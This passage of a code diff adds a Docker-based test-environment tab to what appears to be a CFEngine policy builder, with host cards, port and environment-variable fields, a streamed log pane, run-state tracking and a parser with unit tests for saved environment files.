= { up: 'Starting…', run: 'Running policy…', stop: 'Stopping…', destroy: 'Removing…', pull: 'Pulling…' }; -const percentOf = ({ current, total }: Pull) => (total ? Math.round((current * 100) / total) : 0); +// Why the environment can't start as it is, if it can't. +function problemOf(environment: TestEnvironment, support: PlatformSupport | null): string | null { + for (const host of environment.hosts) { + const known = support?.[host.platform]; + const hub = host.id === environment.hub; + if (known && !(hub ? known.hub : known.client)) { + return `No CFEngine ${environment.edition}${hub && environment.edition === 'enterprise' ? ' hub' : ''} package for ${host.name}'s platform (${environment.arch}).`; + } + } + const names = environment.hosts.map(host => host.name.trim().toLowerCase()); + if (names.some(name => !/^[a-z0-9][a-z0-9-]*$/.test(name))) return 'Host names: letters, digits and dashes only.'; + if (new Set(names).size !== names.length) return 'Two hosts have the same name.'; + const ports = environment.hosts.flatMap(host => host.ports.map(port => port.host)); + if (new Set(ports).size !== ports.length) return 'Two hosts publish the same port.'; + return null; +} /** - * The Test Results & Logs tab. So far: whether Docker is usable, and the base - * images test hosts run (pulled ahead of time, with progress). Hosts, roles, - * ports and runs come next (see the test-environments plan). + * The Test Results & Logs tab: a test environment of Docker hosts running the + * generated policy (current edits, not the saved files). Start creates and + * bootstraps the hosts; Run policy rebuilds, deploys to the hub and runs the + * agent everywhere until it converges. */ export function TestResultsView() { - const [status, setStatus] = useState(null); - const [checkError, setCheckError] = useState(null); - const [images, setImages] = useState([]); - // By image. - const [pulls, setPulls] = useState>({}); - - // Bumped to check Docker again (Retry / Refresh, and after a pull). + const dispatch = useAppDispatch(); + const project = useAppSelector(selectCurrentProject); + const environment = useAppSelector(state => state.testEnvironments[0]) as TestEnvironment | undefined; + const runtime = useEnvironmentRuntime(environment?.id ?? ''); + const versions = useMasterfilesVersions(); + const [docker, setDocker] = useState(null); const [checks, setChecks] = useState(0); - const check = useCallback(() => setChecks(count => count + 1), []); + const [support, setSupport] = useState<{ key: string; platforms: PlatformSupport | null } | null>(null); + const supportKey = environment ? `${environment.edition}|${environment.version}|${environment.arch}` : ''; + + useEffect(() => { + if (!environment) return; + let current = true; + const { arch, edition, version } = environment; + window.api + ?.testEnvPlatforms({ arch, edition, version }) + .then(({ platforms }) => current && setSupport({ key: supportKey, platforms: Object.fromEntries(platforms.map(p => [p.id, p])) })) + .catch(() => current && setSupport({ key: supportKey, platforms: null })); + return () => { + current = false; + }; + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [supportKey]); + const platformSupport = support?.key === supportKey ? support.platforms : null; useEffect(() => { let current = true; window.api ?.testEnvDoctor() - .then(async next => { - const platforms = next.available ? (await window.api!.testEnvImages()).platforms : []; - if (!current) return; - setCheckError(null); - setStatus(next); - setImages(platforms); - }) - .catch((error: unknown) => current && setCheckError(error instanceof Error ? error.message : String(error))); + .then(status => current && setDocker(status)) + .catch((error: unknown) => current && setDocker({ available: false, problem: 'not_running', message: String(error), host: null })); return () => { current = false; }; }, [checks]); - useEffect( - () => - window.api?.onTestEnvEvent((runId: string, event: TestEnvEvent) => { - setPulls(current => { - const image = Object.keys(current).find(key => current[key].runId === runId); - if (!image) return current; - const pull = current[image]; - if (event.t === 'progress') return { ...current, [image]: { ...pull, current: event.current, total: event.total } }; - if (event.t === 'log') return { ...current, [image]: { ...pull, line: event.line } }; - if (event.t !== 'exit') return current; - const { [image]: _done, ...rest } = current; - return event.ok ? rest : { ...rest, [image]: { ...pull, runId: '', error: event.message ?? 'Pull failed' } }; - }); - if (event.t === 'exit' && event.ok) check(); - }), - [check] - ); + const request = (hosts?: string[]) => { + const state = store.getState(); + const content = toCfbsProject( + { canvas: state.canvas, derivedNodes: state.derivedNodes, edges: state.edges, files: state.files, groups: state.groups, testEnvironments: [] }, + project! + ); + const masterfiles = project?.masterfiles ?? (environment!.version !== 'latest' ? environment!.version : versions.latest); + const envFile = project?.path && environment?.envFile ? `${project.path.replace(/[/\\]+$/, '')}/${environment.envFile.replace(/^\.\//, '')}` : null; + return { environment: environment!, content, masterfiles, envFile, ...(hosts ? { hosts } : {}) }; + }; + + const idle = Boolean(environment) && !runtime.action; + useEffect(() => { + if (idle && environment && docker?.available) void refreshStatus(environment, request()); + // Refresh when an action ends or Docker comes back; not on every edit. + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [idle, docker?.available, environment?.id]); if (!window.api) return ; - const api = window.api; + if (!project) return null; - const pull = async (image: string) => { - const runId = await api.testEnvPull(image); - setPulls(current => ({ ...current, [image]: { runId, current: 0, total: 0 } })); - }; + if (!environment) { + return ( + + + + ); + } + + const busy = runtime.action !== null; + const problem = problemOf(environment, platformSupport); + const emulated = Boolean(docker?.arch) && docker!.arch !== environment.arch; + const ready = Boolean(docker?.available) && !busy && !problem; + const id = environment.id; + const anyUp = Object.values(runtime.hosts).some(host => ['running', 'ready', 'done', 'failed'].includes(host.state)); + const anyExists = Object.values(runtime.hosts).some(host => host.state !== 'absent'); + const lastResults = new Map(runtime.results.map(result => [result.host, result])); return ( - - - - Test environments - - Run the generated policy on Docker containers. Hosts, the hub, ports and runs come next; for now, check Docker and get the base images ready. + + + + {docker?.available ? ( + + ) : ( + + )} + + {docker ? docker.message : 'Checking Docker…'} + {docker && !docker.available && ( + + )} - - - - - {status?.available ? : } - - - {checkError - ? 'Couldn’t check Docker' - : status - ? status.available - ? 'Docker is ready' - : status.problem === 'not_installed' - ? 'Docker isn’t installed' - : 'Docker isn’t running' - : 'Checking Docker…'} - - {checkError ?? status?.message} - {status?.host && {status.host}} - - - - - - {status?.available && ( - - Base images - - {images.map(image => { - const running = pulls[image.image]; - return ( - - - - {image.label} - {image.image} - - - {running?.runId ? ( - - ) : ( - - )} - - {running?.runId && ( - - - - {running.total ? `${percentOf(running)}% · ` : ''} - {running.line ?? 'Starting…'} - - - )} - {running?.error && {running.error}} - - ); - })} - - + {busy ? ( + <> + {BUSY_LABEL[runtime.action!]} + + + ) : ( + <> + + + + + + )} + + + dispatch(environmentChanged({ environmentId: id, changes: { name: event.target.value } }))} + sx={{ width: 200 }} + /> + dispatch(environmentChanged({ environmentId: id, changes: { edition: event.target.value as TestEnvironment['edition'] } }))} + sx={{ width: 170 }} + > + Community + Enterprise (Mission Portal) + + dispatch(environmentChanged({ environmentId: id, changes: { arch: event.target.value as TestEnvironment['arch'] } }))} + sx={{ width: 150 }} + > + x86-64 + arm64 + + dispatch(environmentChanged({ environmentId: id, changes: { version: event.target.value.trim() || 'latest' } }))} + helperText="latest, or e.g. 3.27.1" + sx={{ width: 160 }} + /> + dispatch(environmentChanged({ environmentId: id, changes: { envFile: event.target.value.trim() || null } }))} + sx={{ width: 230 }} + /> + + {(problem || runtime.error) && ( + {problem ?? runtime.error} )} + {busy && } + + + dispatch(envVarsChanged({ environmentId: id, env }))} + /> + {environment.hosts.map(host => ( + 1} + lastResult={lastResults.get(host.id)} + support={platformSupport} + otherPorts={new Set(environment.hosts.filter(other => other.id !== host.id).flatMap(other => other.ports.map(port => port.host)))} + onRename={name => dispatch(hostRenamed({ environmentId: id, hostId: host.id, name }))} + onChange={({ env, ...changes }) => { + if (env) dispatch(envVarsChanged({ environmentId: id, hostId: host.id, env })); + if (Object.keys(changes).length > 0) dispatch(hostChanged({ environmentId: id, hostId: host.id, changes })); + }} + onMakeHub={() => dispatch(hubChanged({ environmentId: id, hostId: host.id }))} + onRemove={() => dispatch(hostRemoved({ environmentId: id, hostId: host.id }))} + onReset={() => void startAction(environment, 'destroy', request([host.id]))} + /> + ))} + + + + + clearLog(id)} /> + ); } -function Placeholder({ text }: { text: string }) { +function Placeholder({ children, text }: { children?: ReactNode; text: string }) { return ( - + {text} - + {children} + ); } diff --git a/src/renderer/src/components/TopBar.tsx b/src/renderer/src/components/TopBar.tsx index a447962..3f80fb6 100644 --- a/src/renderer/src/components/TopBar.tsx +++ b/src/renderer/src/components/TopBar.tsx @@ -1,3 +1,5 @@ +import type { ReactNode } from 'react'; + import SettingsOutlinedIcon from '@mui/icons-material/SettingsOutlined'; import { Box, Button, IconButton, Tab, Tabs, Typography } from '@mui/material'; @@ -23,6 +25,8 @@ interface TopBarProps { projectName: string; // A project that isn't on disk yet (the demo) is saved with Save As. savedToDisk: boolean; + // Shown after a tab's name, by tab index (the test environments' spinner / check). + tabBadges?: Partial>; type: ProjectType; } @@ -54,6 +58,7 @@ export function TopBar({ onOpenSettings, onSave, savedToDisk, + tabBadges, type }: TopBarProps) { return ( @@ -99,8 +104,21 @@ export function TopBar({ onTabChange(value)} sx={{ minHeight: 'auto', height: '100%' }}> - {PROJECT_TABS.map(tab => ( - + {PROJECT_TABS.map((tab, index) => ( + + {tab} + {tabBadges[index]} + + ) : ( + tab + ) + } + sx={{ minHeight: 'auto', fontSize: 14, textTransform: 'none' }} + /> ))} diff --git a/src/renderer/src/components/testenv/EnvVarsField.tsx b/src/renderer/src/components/testenv/EnvVarsField.tsx new file mode 100644 index 0000000..4c73b7b --- /dev/null +++ b/src/renderer/src/components/testenv/EnvVarsField.tsx @@ -0,0 +1,52 @@ +import { useState } from 'react'; + +import { TextField } from '@mui/material'; + +const format = (env: Record) => + Object.entries(env) + .map(([key, value]) => `${key}=${value}`) + .join('\n'); + +// `KEY=value` lines; anything else is dropped. +export function parseEnvVars(text: string): Record { + const env: Record = {}; + for (const line of text.split('\n')) { + const at = line.indexOf('='); + const key = line.slice(0, at).trim(); + if (at > 0 && /^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) env[key] = line.slice(at + 1); + } + return env; +} + +/** Environment variables as `KEY=value` lines, saved when the field loses focus. */ +export function EnvVarsField({ + disabled, + env, + label, + onChange +}: { + disabled?: boolean; + env: Record; + label: string; + onChange: (env: Record) => void; +}) { + const [draft, setDraft] = useState(null); + return ( + setDraft(event.target.value)} + onBlur={() => { + if (draft !== null) onChange(parseEnvVars(draft)); + setDraft(null); + }} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 12 } } }} + /> + ); +} diff --git a/src/renderer/src/components/testenv/HostCard.tsx b/src/renderer/src/components/testenv/HostCard.tsx new file mode 100644 index 0000000..ed6b568 --- /dev/null +++ b/src/renderer/src/components/testenv/HostCard.tsx @@ -0,0 +1,144 @@ +import { useState } from 'react'; + +import ContentCopyIcon from '@mui/icons-material/ContentCopy'; +import DeleteOutlineIcon from '@mui/icons-material/DeleteOutlined'; +import RestartAltIcon from '@mui/icons-material/RestartAlt'; +import { Box, Chip, IconButton, Link, MenuItem, Paper, Stack, TextField, Typography } from '@mui/material'; + +import type { HostRuntime, RunResult } from '../../project/testRuns'; +import { PLATFORMS, type PlatformSupport, type TestHost } from '../../store/testEnvironmentsSlice/types'; +import { EnvVarsField } from './EnvVarsField'; +import { PortsField } from './PortsField'; + +const STATES: Record = { + absent: { color: 'default', label: 'Not created' }, + created: { color: 'default', label: 'Created' }, + exited: { color: 'default', label: 'Stopped' }, + provisioning: { color: 'info', label: 'Setting up…' }, + ready: { color: 'success', label: 'Ready' }, + running: { color: 'info', label: 'Running policy…' }, + done: { color: 'success', label: 'Done' }, + failed: { color: 'error', label: 'Failed' } +}; + +export interface HostCardProps { + busy: boolean; + canRemove: boolean; + host: TestHost; + hub: { setupCode: string | null; url: string | null } | null; + isHub: boolean; + lastResult?: RunResult; + onChange: (changes: Partial>) => void; + onMakeHub: () => void; + onRemove: () => void; + onRename: (name: string) => void; + onReset: () => void; + // Host ports other hosts publish. + otherPorts: Set; + runtime?: HostRuntime; + // Which platforms have packages for this edition, version and architecture (null: unknown). + support: PlatformSupport | null; +} + +/** One test host: what it is, how it's set up, and how its last run went. */ +export function HostCard(props: HostCardProps) { + const { host, runtime, isHub, busy, lastResult, hub } = props; + const [copied, setCopied] = useState(false); + const state = STATES[runtime?.state ?? 'absent'] ?? { color: 'default' as const, label: runtime?.state ?? '' }; + const exists = Boolean(runtime?.container) && runtime?.state !== 'absent'; + + const copyShell = () => { + if (!runtime?.container) return; + void navigator.clipboard.writeText(`docker exec -it ${runtime.container} bash`).then(() => { + setCopied(true); + setTimeout(() => setCopied(false), 1500); + }); + }; + + return ( + + + + props.onRename(event.target.value)} + sx={{ width: 140 }} + slotProps={{ htmlInput: { maxLength: 40 } }} + /> + props.onChange({ platform: event.target.value })} + sx={{ width: 210 }} + > + {PLATFORMS.map(platform => { + const known = props.support?.[platform.id]; + const missing = known && !(isHub ? known.hub : known.client); + return ( + + {platform.label} + {missing && ( + + {isHub && known.client ? 'no hub package' : 'no package'} + + )} + + ); + })} + + + + + + + + + + + + + + + {lastResult && ( + 0 ? 'warning.main' : 'text.secondary' }}> + Run {lastResult.run}: {lastResult.kept ?? '?'}% kept · {lastResult.repaired ?? '?'}% repaired · {lastResult.notKept ?? '?'}% not kept + {runtime?.state === 'done' && + ((lastResult.notKept ?? 0) > 0 ? ' — some promises not kept (see the log)' : runtime.converged ? ' — converged' : ' — still repairing')} + {lastResult.exit !== 0 && ` — cf-agent exited ${lastResult.exit}`} + + )} + {isHub && hub && ( + + Mission Portal:{' '} + {hub.url ? ( + + {hub.url} + + ) : ( + 'publish container port 443 to open it' + )} + {hub.setupCode && ( + <> + {' '} + · first-login setup code {hub.setupCode} + + )} + + )} + props.onChange({ ports })} /> + props.onChange({ env })} /> + + + ); +} diff --git a/src/renderer/src/components/testenv/LogPane.tsx b/src/renderer/src/components/testenv/LogPane.tsx new file mode 100644 index 0000000..d4c7a38 --- /dev/null +++ b/src/renderer/src/components/testenv/LogPane.tsx @@ -0,0 +1,90 @@ +import { useEffect, useRef, useState } from 'react'; + +import { Box, Button, MenuItem, Stack, TextField, ToggleButton, ToggleButtonGroup, Typography } from '@mui/material'; + +import type { LogLine } from '../../project/testRuns'; +import type { TestHost } from '../../store/testEnvironmentsSlice/types'; + +/** The environment's streamed log: every host or one, setup and/or agent output. */ +export function LogPane({ hosts, lines, onClear }: { hosts: TestHost[]; lines: LogLine[]; onClear: () => void }) { + const [host, setHost] = useState('all'); + const [kinds, setKinds] = useState(['setup', 'agent']); + const end = useRef(null); + const nameOf = new Map(hosts.map(item => [item.id, item.name])); + const shown = lines.filter( + line => (host === 'all' || !line.host || line.host === host) && (line.kind === 'step' || line.kind === 'error' || kinds.includes(line.kind)) + ); + + useEffect(() => { + end.current?.scrollIntoView({ block: 'end' }); + }, [shown.length]); + + const text = shown.map(line => `${line.host ? `[${nameOf.get(line.host) ?? line.host}] ` : ''}${line.text}`).join('\n'); + + return ( + + + Log + setHost(event.target.value)} sx={{ width: 150 }}> + All hosts + {hosts.map(item => ( + + {item.name} + + ))} + + setKinds(value)}> + + Setup + + + Agent + + + + + + + + {shown.length === 0 && Nothing yet: Start the environment, then Run policy.} + {shown.map((line, index) => ( + + {line.host && ( + + [{nameOf.get(line.host) ?? line.host}]{' '} + + )} + {line.text} + + ))} +
+ + + ); +} diff --git a/src/renderer/src/components/testenv/PortsField.tsx b/src/renderer/src/components/testenv/PortsField.tsx new file mode 100644 index 0000000..8f1136c --- /dev/null +++ b/src/renderer/src/components/testenv/PortsField.tsx @@ -0,0 +1,68 @@ +import AddIcon from '@mui/icons-material/Add'; +import CloseIcon from '@mui/icons-material/Close'; +import { Box, Button, IconButton, Stack, TextField, Typography } from '@mui/material'; + +type Port = { container: number; host: number }; + +const portValue = (text: string) => { + const number = Number(text); + return Number.isInteger(number) && number > 0 && number <= 65535 ? number : null; +}; + +/** Published ports, host → container (TCP). Changing them recreates the host's container. */ +export function PortsField({ disabled, onChange, ports, taken }: { disabled?: boolean; onChange: (ports: Port[]) => void; ports: Port[]; taken: Set }) { + const set = (index: number, field: keyof Port, text: string) => { + const value = portValue(text); + if (value !== null) onChange(ports.map((port, at) => (at === index ? { ...port, [field]: value } : port))); + }; + const free = () => { + let host = 8080; + while (taken.has(host) || ports.some(port => port.host === host)) host += 1; + return host; + }; + return ( + + Ports (this computer → container) + + {ports.map((port, index) => { + const clash = taken.has(port.host) || ports.some((other, at) => at !== index && other.host === port.host); + return ( + + set(index, 'host', event.target.value)} + sx={{ width: 110 }} + /> + → + set(index, 'container', event.target.value)} + sx={{ width: 110 }} + /> + onChange(ports.filter((_port, at) => at !== index))}> + + + + ); + })} + + + + ); +} diff --git a/src/renderer/src/demo/nginxDemoProject.ts b/src/renderer/src/demo/nginxDemoProject.ts index 8d4130d..60e01f6 100644 --- a/src/renderer/src/demo/nginxDemoProject.ts +++ b/src/renderer/src/demo/nginxDemoProject.ts @@ -12,6 +12,7 @@ import { fileAdded, fileSelected, projectFilesInitialized } from '../store/files import { groupCreated } from '../store/groupsSlice'; import { historyCleared } from '../store/history'; import { projectCreated } from '../store/projectSlice'; +import { environmentAdded, newEnvironment } from '../store/testEnvironmentsSlice'; type DemoBlock = Omit; @@ -361,6 +362,10 @@ export function createNginxDemoProject(dispatch: AppDispatch): void { ); } }); + // One Ubuntu host serving the landing page on http://localhost:8080/. Fixed ids: every demo + // session finds the same container again (Docker labels carry them) instead of orphaning it. + const demoEnvironment = newEnvironment('Demo web server', { id: 'demo-web', name: 'web', ports: [{ host: 8080, container: 80 }] }); + dispatch(environmentAdded({ ...demoEnvironment, id: 'demo-web-server', hub: 'demo-web' })); // Adding a file opens it; the demo opens on the web server. dispatch(fileSelected({ fileId: webserverFileId })); dispatch(historyCleared()); diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index e907217..1c8f307 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -1,7 +1,8 @@ import { useEffect, useMemo, useRef, useState } from 'react'; import AddIcon from '@mui/icons-material/Add'; -import { Box, Button, Paper, Popover, Stack, Typography } from '@mui/material'; +import CheckCircleIcon from '@mui/icons-material/CheckCircle'; +import { Box, Button, CircularProgress, Paper, Popover, Stack, Typography } from '@mui/material'; import { DndContext, type DragEndEvent, DragOverlay, type DragStartEvent, PointerSensor, useSensor, useSensors } from '@dnd-kit/core'; import type { ReactFlowInstance } from '@xyflow/react'; @@ -44,6 +45,7 @@ import { clamp, useLayoutSettings } from '../hooks/useLayoutSettings'; +import { markTestActivitySeen, useTestActivity } from '../project/testRuns'; import { useCompiledPolicy } from '../project/useCompiledPolicy'; import { useAppDispatch, useAppSelector } from '../store'; import { @@ -127,6 +129,17 @@ const GROUP_KEY = navigator.platform.startsWith('Mac') ? '⌘G' : 'Ctrl+G'; const selectionOf = (multiSelectedIds: string[], selectedInstanceId: string | null): string[] => multiSelectedIds.length > 0 ? multiSelectedIds : selectedInstanceId ? [selectedInstanceId] : []; +// On the Test Results tab's name: a spinner while an environment action runs, then a +// check (or a red dot when it failed) until the tab is opened. +function TestActivityBadge() { + const { outcome, running } = useTestActivity(); + if (running) return ; + if (outcome === 'ok') return ; + if (outcome === 'error') + return ; + return null; +} + // The tabs besides the canvas. function OtherTab({ tab, ...policy }: { tab: number } & Parameters[0]) { return tab === 1 ? : ; @@ -285,6 +298,13 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi const canRedo = useAppSelector(state => state.history.future.length > 0); // In-app "full screen": side panels hidden, properties as an overlay. const [maximized, setMaximized] = useState(false); + // The Test Results tab has its own layout: no block palette or Properties panel. + const showSidebars = !maximized && activeTab !== 2; + const testActivity = useTestActivity(); + // Looking at the Test Results tab acknowledges how the last action ended. + useEffect(() => { + if (activeTab === 2 && testActivity.outcome) markTestActivitySeen(); + }, [activeTab, testActivity.outcome]); const [addBlockAnchor, setAddBlockAnchor] = useState(null); const [tidyConfirmOpen, setTidyConfirmOpen] = useState(false); const [convertTargetId, setConvertTargetId] = useState(null); @@ -860,6 +880,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi blockCount={instances.length} activeTab={activeTab} onTabChange={setActiveTab} + tabBadges={{ 2: }} onSave={onSave} onOpenSettings={onOpenSettings} savedToDisk={Boolean(project.path)} @@ -867,7 +888,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi /> - {!maximized && ( + {showSidebars && ( <> )} - {!maximized && ( + {showSidebars && ( <> toModule(name, bundles)), - provided: toProvided(modules, identity) + provided: toProvided(modules, identity), + testEnvironments: data.testEnvironments }; } @@ -313,7 +317,9 @@ export function fromBuilderProject(json: unknown): ProjectData { derivedNodes, edges, files: { currentFileId, files, folders: folders.map(({ id, name, parentId }) => ({ id, name, parentId })) }, - groups + groups, + // Read from their own file; see loadCfbsProject. + testEnvironments: [] }; } @@ -340,7 +346,47 @@ function masterfilesOf(build: unknown[]): string | null { * null when there is none) → what goes into the store. A cfbs project * without builder data opens with one empty policy file named after it. */ -export function loadCfbsProject(json: unknown, builder: unknown, folderName: string): LoadedProject { +const stringMap = (value: unknown): Record => + isObject(value) ? Object.fromEntries(Object.entries(value).filter((entry): entry is [string, string] => typeof entry[1] === 'string')) : {}; +const text = (value: unknown, fallback: string) => (typeof value === 'string' && value ? value : fallback); + +/** The environments in .policy-builder/test-environments.json, whatever is unusable dropped. */ +export function environmentsFrom(value: unknown): TestEnvironment[] { + return listOf(Array.isArray(value) ? value : undefined) + .filter(isObject) + .flatMap(environment => { + const hosts = listOf(Array.isArray(environment.hosts) ? environment.hosts : undefined) + .filter(isObject) + .filter(host => typeof host.id === 'string') + .map(host => ({ + id: host.id as string, + name: text(host.name, 'host'), + platform: text(host.platform, 'ubuntu-22'), + ports: listOf(Array.isArray(host.ports) ? host.ports : undefined) + .filter(isObject) + .filter(port => Number.isInteger(port.host) && Number.isInteger(port.container)) + .map(port => ({ host: port.host as number, container: port.container as number })), + env: stringMap(host.env) + })); + if (typeof environment.id !== 'string' || hosts.length === 0) return []; + const hub = hosts.some(host => host.id === environment.hub) ? (environment.hub as string) : hosts[0].id; + return [ + { + id: environment.id, + name: text(environment.name, 'Environment'), + arch: environment.arch === 'aarch64' ? ('aarch64' as const) : ('x86_64' as const), + edition: environment.edition === 'enterprise' ? ('enterprise' as const) : ('community' as const), + version: text(environment.version, 'latest'), + hub, + env: stringMap(environment.env), + envFile: typeof environment.envFile === 'string' ? environment.envFile : null, + hosts + } + ]; + }); +} + +export function loadCfbsProject(json: unknown, builder: unknown, folderName: string, testEnvironments: unknown = null): LoadedProject { if (!isObject(json)) throw new Error('cfbs.json is not a JSON object'); const type: ProjectType = json.type === 'module' ? 'module' : 'policy-set'; const cfbsName = (typeof json.name === 'string' && json.name.trim()) || folderName; @@ -350,10 +396,11 @@ export function loadCfbsProject(json: unknown, builder: unknown, folderName: str const moduleName = typeof saved.module_name === 'string' && saved.module_name ? saved.module_name : type === 'module' ? cfbsName : moduleNameFor(name); const identity = { description: typeof json.description === 'string' ? json.description : '', moduleName, name, type }; const masterfiles = masterfilesOf(Array.isArray(json.build) ? json.build : []); + const environments = environmentsFrom(testEnvironments); const data = builder === null || builder === undefined ? null : fromBuilderProject(builder); - if (data && data.files.files.length > 0) return { ...identity, data, masterfiles }; + if (data && data.files.files.length > 0) return { ...identity, data: { ...data, testEnvironments: environments }, masterfiles }; const files = filesReducer(undefined, projectFilesInitialized(name)); - return { ...identity, data: { canvas: [], derivedNodes: {}, edges: [], files, groups: [] }, masterfiles }; + return { ...identity, data: { canvas: [], derivedNodes: {}, edges: [], files, groups: [], testEnvironments: environments }, masterfiles }; } /** The project folder's name for a project name: "Web Server Hardening" → "web-server-hardening". */ diff --git a/src/renderer/src/project/testEnvironments.test.ts b/src/renderer/src/project/testEnvironments.test.ts new file mode 100644 index 0000000..619a3c9 --- /dev/null +++ b/src/renderer/src/project/testEnvironments.test.ts @@ -0,0 +1,33 @@ +import { describe, expect, it } from 'vitest'; + +import { environmentsFrom } from './cfbsProject'; + +describe('environmentsFrom', () => { + it('keeps a valid environment and fills in what is missing', () => { + const [environment] = environmentsFrom([ + { id: 'e1', hosts: [{ id: 'h1', name: 'web', ports: [{ host: 8080, container: 80 }, { host: 'x' }], env: { A: '1', B: 2 } }] } + ]); + + expect(environment).toEqual({ + id: 'e1', + name: 'Environment', + arch: 'x86_64', + edition: 'community', + version: 'latest', + hub: 'h1', + env: {}, + envFile: null, + hosts: [{ id: 'h1', name: 'web', platform: 'ubuntu-22', ports: [{ host: 8080, container: 80 }], env: { A: '1' } }] + }); + }); + + it('drops environments without hosts and points a missing hub at the first host', () => { + const environments = environmentsFrom([ + { id: 'empty', hosts: [] }, + { id: 'e2', edition: 'enterprise', hub: 'gone', hosts: [{ id: 'a' }, { id: 'b' }] }, + 'junk' + ]); + + expect(environments.map(environment => [environment.id, environment.edition, environment.hub])).toEqual([['e2', 'enterprise', 'a']]); + }); +}); diff --git a/src/renderer/src/project/testRuns.ts b/src/renderer/src/project/testRuns.ts new file mode 100644 index 0000000..390fa00 --- /dev/null +++ b/src/renderer/src/project/testRuns.ts @@ -0,0 +1,194 @@ +import { useSyncExternalStore } from 'react'; + +import type { TestEnvironment } from '../store/testEnvironmentsSlice/types'; + +/** + * What the test environments are doing right now, per environment: the action + * running, its streamed log, host states, run results and the hub's Mission + * Portal details. Kept outside React (and Redux: none of it is project data), + * so it survives switching tabs; the sidecar's events arrive here once. + */ + +type Api = NonNullable; +type Action = Parameters[0]; +type Request = Parameters[0]; +type TestEnvEvent = Parameters[0]>[1]; + +export interface LogLine { + host?: string | null; + // "step" lines are the runner's own progress; "setup" and "agent" are command output. + kind: 'agent' | 'error' | 'setup' | 'step'; + text: string; +} + +export interface RunResult { + exit: number; + host: string; + kept?: number; + notKept?: number; + repaired?: number; + run: number; +} + +export interface HostRuntime { + container?: string; + converged?: boolean; + state: string; +} + +export interface EnvironmentRuntime { + action: Action | null; + error: string | null; + hosts: Record; + hub: { setupCode: string | null; url: string | null } | null; + lines: LogLine[]; + // How the last action ended, until the tab is looked at (the tab name's check / red dot). + outcome: 'error' | 'ok' | null; + results: RunResult[]; + runId: string | null; +} + +const MAX_LINES = 5000; +const EMPTY: EnvironmentRuntime = { action: null, error: null, hosts: {}, hub: null, lines: [], outcome: null, results: [], runId: null }; +const runtimes = new Map(); +const environmentOfRun = new Map(); +const listeners = new Set<() => void>(); +let subscribed = false; + +const runtimeOf = (environmentId: string) => runtimes.get(environmentId) ?? EMPTY; + +function update(environmentId: string, change: (runtime: EnvironmentRuntime) => Partial) { + const current = runtimeOf(environmentId); + runtimes.set(environmentId, { ...current, ...change(current) }); + for (const listener of listeners) listener(); +} + +const appended = (runtime: EnvironmentRuntime, ...lines: LogLine[]) => ({ lines: [...runtime.lines, ...lines].slice(-MAX_LINES) }); + +function handle(runId: string, event: TestEnvEvent) { + const environmentId = environmentOfRun.get(runId); + if (!environmentId) return; + update(environmentId, runtime => { + switch (event.t) { + case 'log': + return appended(runtime, { host: event.host, kind: event.stream === 'agent' ? 'agent' : 'setup', text: event.line }); + case 'step': + return appended(runtime, { host: event.host, kind: 'step', text: event.message }); + case 'host': + return { + hosts: { + ...runtime.hosts, + [event.host]: { + ...runtime.hosts[event.host], + state: event.state, + container: event.container ?? runtime.hosts[event.host]?.container, + converged: event.converged + } + } + }; + case 'result': + return { results: [...runtime.results, event] }; + case 'hub': + return { hub: { setupCode: event.setup_code, url: event.url } }; + case 'error': + return { ...appended(runtime, { kind: 'error', text: event.message }), error: event.message }; + case 'exit': + environmentOfRun.delete(runId); + return { + action: null, + runId: null, + outcome: event.ok ? 'ok' : 'error', + error: event.ok ? runtime.error : (runtime.error ?? event.message ?? 'Failed') + }; + default: + return {}; + } + }); +} + +function subscribe(listener: () => void) { + if (!subscribed && window.api) { + subscribed = true; + window.api.onTestEnvEvent(handle); + } + listeners.add(listener); + return () => listeners.delete(listener); +} + +export function useEnvironmentRuntime(environmentId: string): EnvironmentRuntime { + return useSyncExternalStore(subscribe, () => runtimeOf(environmentId)); +} + +/** Starts Start / Run / Stop / Destroy for an environment; its events land in the runtime. */ +export async function startAction(environment: TestEnvironment, action: Action, request: Request): Promise { + if (!window.api) return; + subscribe(() => {}); + const label = { up: 'Start', run: 'Run policy', stop: 'Stop', destroy: 'Destroy', pull: 'Pull' }[action]; + update(environment.id, runtime => ({ + ...appended(runtime, { kind: 'step', text: `── ${label} ──` }), + action, + error: null, + outcome: null, + results: action === 'run' ? [] : runtime.results + })); + try { + const runId = await window.api.testEnvStart(action, request); + environmentOfRun.set(runId, environment.id); + update(environment.id, () => ({ runId })); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + update(environment.id, runtime => ({ ...appended(runtime, { kind: 'error', text: message }), action: null, error: message })); + } +} + +export function cancelAction(environmentId: string): void { + const { runId } = runtimeOf(environmentId); + if (runId) void window.api?.cancelTestEnvRun(runId); +} + +/** Each host's container state, as Docker reports it (not while an action is running). */ +export async function refreshStatus(environment: TestEnvironment, request: Request): Promise { + if (!window.api || runtimeOf(environment.id).action) return; + try { + const { hosts } = await window.api.testEnvStatus(request); + update(environment.id, runtime => ({ + hosts: Object.fromEntries( + Object.entries(hosts).map(([id, docker]) => { + // A running container keeps its last run's outcome; otherwise Docker's word is final. + const known = runtime.hosts[id]; + const keep = docker.state === 'running' && known && ['done', 'failed', 'ready'].includes(known.state); + // Docker's "running" is the container being up, not the agent running: Ready. + const state = docker.state === 'running' ? 'ready' : docker.state; + return [id, keep ? { ...known, container: docker.container } : { state, container: docker.container }]; + }) + ) + })); + } catch { + // Docker not reachable: the status card says so. + } +} + +// Across environments: whether an action is running, else how the last unseen one ended. +let activity: { outcome: 'error' | 'ok' | null; running: boolean } = { outcome: null, running: false }; +function currentActivity() { + const all = [...runtimes.values()]; + const running = all.some(runtime => runtime.action !== null); + const outcome = all.some(runtime => runtime.outcome === 'error') ? 'error' : all.some(runtime => runtime.outcome === 'ok') ? 'ok' : null; + if (running !== activity.running || outcome !== activity.outcome) activity = { outcome, running }; + return activity; +} + +export function useTestActivity() { + return useSyncExternalStore(subscribe, currentActivity); +} + +/** The tab was looked at: its check / red dot goes. */ +export function 